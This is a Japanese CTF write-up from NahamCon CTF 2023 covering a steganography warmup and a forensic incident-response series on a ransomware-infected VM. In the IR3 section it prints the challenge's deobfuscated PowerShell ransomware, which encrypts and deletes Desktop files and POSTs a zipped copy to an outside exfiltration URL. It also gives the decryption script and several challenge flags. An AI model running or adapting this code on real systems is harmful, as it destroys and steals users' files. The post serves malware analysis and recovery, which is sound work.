NahamCon CTF 2023 に 0nePadding で参加して 74 位 / 2522 チームでした。
今回は残念ながら Rev の難易度が高く自力で解くことができませんでしたが、Forensic の IR 問題など、非常に面白い問題に挑戦することができました。
また、時間がなくあまり取り組めなかった Mobile の問題についても、今度取り組んでみようと思います。
tiny little fibers(Warmup)
Oh wow, it’s another of everyone’s favorite. But we like to try and turn the ordinary into extraordinary!
問題バイナリとして以下の画像が与えられました。
この画像を画像検索にかけてみたところどうやら一般に公開されている画像のようでした。
そのため、ステガノグラフィではなく画像に何らかのデータが埋め込まれてるのではないかと考え、色々と調べてみました。
しかし、Aperi’Solve に画像を上げてもそれらしい情報は見当たりませんでした。
そこで、stegoveritas を試してみることにしました。
# stegoveritas のインストール
pip3 install stegoveritas
stegoveritas_install_deps
# stegoveritas による解析
stegoveritas tiny-little-fibers.jpg
参考:bannsec/stegoVeritas: Yet another Stego Tool
これで、trailing_data.bin として保存されたファイルのバイナリを読むと、以下のように(おそらく strings で取得しにくいように加工された) Flag 文字列を取得できました。
ちなみにこの trailing_data.bin がどのようにして取得されたバイナリかという話ですが、ツールのソースを読むと JPG のマーカーを探索していき、\xff\xda
が見つかったところから \xff\xd9
までのインデックスを取得して、ファイルに書き込みを行っているようです。
# These markers don't have a length attribute
nonLenMarkers = [ b'\xff\xd8', b'\xff\x01', b'\xffd0', b'\xffd1', b'\xffd2', b'\xffd3', b'\xffd4', b'\xffd5', b'\xffd6', b'\xffd7' ]
# Open up the file
with open(image.veritas.file_name,"rb") as myFile:
steg = myFile.read()
while True:
# Grab the current header
hdr = steg[i:i+2]
# if Start of Image, Temporary Private, Restart, things that don't have an associated length field
if hdr in nonLenMarkers:
# Just move to the next marker
i = i + 2
continue
# If we've found our way to the end of the jpeg
if hdr == b'\xff\xd9':
#print("Made it to the end!")
# Increment 2 so we can check the length
i += 2
break
# Unpack the length field
ln = unpack(">H",steg[i+2:i+4])[0]
# print("Found Length: {0}".format(ln))
# Update the index with the known length
i = i+ln+2
# When we hit scan data, we scan to the end of the format
if hdr == b'\xff\xda':
#print("Start of Scan data")
# Find the end marker
i += steg[i:].index(b'\xff\xd9')
# Check for trailers
if i != len(steg):
print("Trailing Data Discovered... Saving")
print(steg[i:])
# Save it off for reference
with open(output_file, "wb") as outFile:
outFile.write(steg[i:])
ここで、\xff\xda
のマーカーは SOS(Start of Scan)マーカーを意味しており、画像の圧縮データが始まることを示します(\xff\xd9
はエンドマーカーです)。
そのため、このマーカーの後には、ハフマン符号化されたデータが続きます。
SOS セグメントは通常一つですが、JPG の中に複数作成することもできるようで、ステガノグラフィのテクニックとして使用されるようです。
今回はこの SOS セグメントから Flag を取得できました。
IR(Forensic)
IR1
Can you find the hidden file on this VM?
This group of challenges uses the same single file download for each challenges. This is a very large file download (13GB) and will take some time to download.
問題環境として与えられた OVA ファイルを VirtualBox で起動してみたものの、パスワードがわからずログインできませんでした。(実際はパスワードは公開されていたらしく、Discord で調べると見つかるようでした。問題文に書いておいてほしいw)
そこで、OVA ファイル(実態は tar アーカイブ)を解凍して得られた vmdk ファイルを qemu-img で vhdx にコンバートして、ホストマシンにローカルマウントしてファイルを調査することにしました。
# OVA を tar にして展開してから vhdx に変換する
mv nahamcon.ova nahamcon.tar
tar -xvf nahamcon.tar
qemu-img convert -f vmdk -O vhdx "Nahamcon\ Forensics\ Challenge-disk001.vmdk" out.vhdx
これで作成した out.vhdx をローカルの Windows マシンにマウントすることで、ホストのエクスプローラから Victim マシンのファイルを調査することができるようになります。
Victim のフォルダを探索すると、ユーザフォルダ内に隠しフォルダがあり、その中にランサムノートが埋め込まれていることがわかります。
このランサムノートの中に、1 つ目の Flag が埋め込まれています。
IR2
Can you figure out how the malware got onto the system?
この Malware をどこから取得したかを特定する問題でした。
とりあえずマウントした仮想ハードディスクのイベントログを Hayabusa で解析しましたが、残念ながら Malware の感染経路と判断できるイベントは見つかりませんでした。
.\hayabusa-2.5.1-win-x64.exe csv-timeline -d "E:\Windows\System32\winevt\Logs" -o result.csv
フォルダ内のファイルやアプリケーションを一通り探索しても見つからなかったのですが、どうやら UWP アプリ版のメールクライアントで参照できるメールから特定できるようでした。
フォルダ内のファイルのみからは見つけ出すのが難しかったので、やはりこういう問題は一度 VM にもアクセスする必要がありますね。
IR3
Can you reverse the malware?
Victim マシンの USERPROFILE 配下を探索すると、updates.ps1 という難読化された PowerShell スクリプトが見つかります。
難読化を手動で解除していくと、以下のようなスクリプトを取得できます。(一部抜粋)
function encryptFiles{
Param(
[Parameter(Mandatory=${true}, position=0)]
[string] $baseDirectory
)
foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
if ($File.extension -ne ".enc"){
$DestinationFile = $File.FullName + ".enc"
$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
$FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)
$cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
$cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$cipher.GenerateIV()
$FileStreamWriter.Write([System.BitConverter]::GetBytes($cipher.IV.Length), 0, 4)
$FileStreamWriter.Write($cipher.IV, 0, $cipher.IV.Length)
$Transform = $cipher.CreateEncryptor()
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
$FileStreamReader.CopyTo($CryptoStream)
$CryptoStream.FlushFinalBlock()
$CryptoStream.Close()
$FileStreamReader.Close()
$FileStreamWriter.Close()
Remove-Item -LiteralPath $File.FullName
}
}
}
$flag = "flag{892a8921517dcecf90685d478aedf5e2}"
$ErrorActionPreference= 'silentlycontinue'
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
Add-Type -assembly "system.io.compression.filesystem"
[io.compression.zipfile]::CreateFromDirectory("C:\Users\"+$user+"\Desktop", "C:\Users\"+$user+"\Downloads\Desktop.zip")
$zipFileBytes = Get-Content -Path ("C:\Users\"+$user+"\Downloads\Desktop.zip") -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}
Invoke-Webrequest -Method Post -Uri "https://www.thepowershellhacker.com/exfiltration" -Body $body
Remove-Item -LiteralPath ("C:\Users\"+$user+"\Downloads\Desktop.zip")
ここに平文で埋め込まれている Flag は 3 つ目の Flag になります。
IR4
Where is the data being exfiltrated? Please give the MD5 hash of the URL with the usual wrapper of flag{}.
先ほど難読化を解除したスクリプトを見ると、https://www[.]thepowershellhacker[.]com/exfiltration
に対して情報流出を試みていることがわかります。
そのため、この URL を MD5 でハッシュ化した文字列が 4 つ目の Flag になります。
IR5
Can you please recover our files?
難読化を解除した Malware のスクリプトを読むと、encryptFiles で Desktop 上のファイルを暗号化していることがわかります。
もう少し処理を詳しく見てみると、7h3_k3y_70_unl0ck_4ll_7h3_f1l35!
をキーとして AES の CBC モードで暗号化を行っているようです。
PKCS7 というのは、16 Byte ブロック暗号で暗号化するために平文の長さを 16 Byte の倍数にするためのパディングの方式を指します。
暗号化の処理では、上記のキーとランダムに生成した IV を使用して暗号化を行い、暗号化したファイルの先頭に暗号化に使用した IV のサイズと IV のバイト列を格納していることがわかります。
つまり、暗号化されたファイルから IV をそれぞれ抜き出して上記のキーと併せて AES の暗号化を解除することでファイルを復元できることがわかります。
復元には以下のスクリプトを使用しました。
$baseDirectory = "E:\Users\IEUser\Desktop"
foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
if ($File.extension -eq ".enc"){
$SourceFile = $File.FullName
$DestinationFile = $File.FullName.Replace(".enc","")
$DestinationFile
$FileStreamReader = New-Object System.IO.FileStream($SourceFile, [System.IO.FileMode]::Open)
$FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)
$cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
$cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$IVLengthBuffer = New-Object Byte[] 4
$FileStreamReader.Read($IVLengthBuffer, 0, 4)
$IVLength = [System.BitConverter]::ToInt32($IVLengthBuffer, 0)
$IVBuffer = New-Object Byte[] $IVLength
$FileStreamReader.Read($IVBuffer, 0, $IVLength)
$cipher.IV = $IVBuffer
$Transform = $cipher.CreateDecryptor()
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
$FileStreamReader.CopyTo($CryptoStream)
$CryptoStream.FlushFinalBlock()
$CryptoStream.Close()
$FileStreamReader.Close()
$FileStreamWriter.Close()
}
}
IV のサイズは暗号化されたファイルの先頭 4 バイトに埋め込まれているので、この情報を使用して IV を取得し、ファイルの復号を行いました。
復元されたファイルを一通り調べてみると、NexGen Innovations.pdf
というファイルの左隅に小さく Flag が埋め込まれていました。
まとめ
今回 Rev だけ難易度がおかしく全く解けませんでした。
最近 Rev は停滞感があるので、もっと難易度の高い問題も解けるようにしていきたいですね。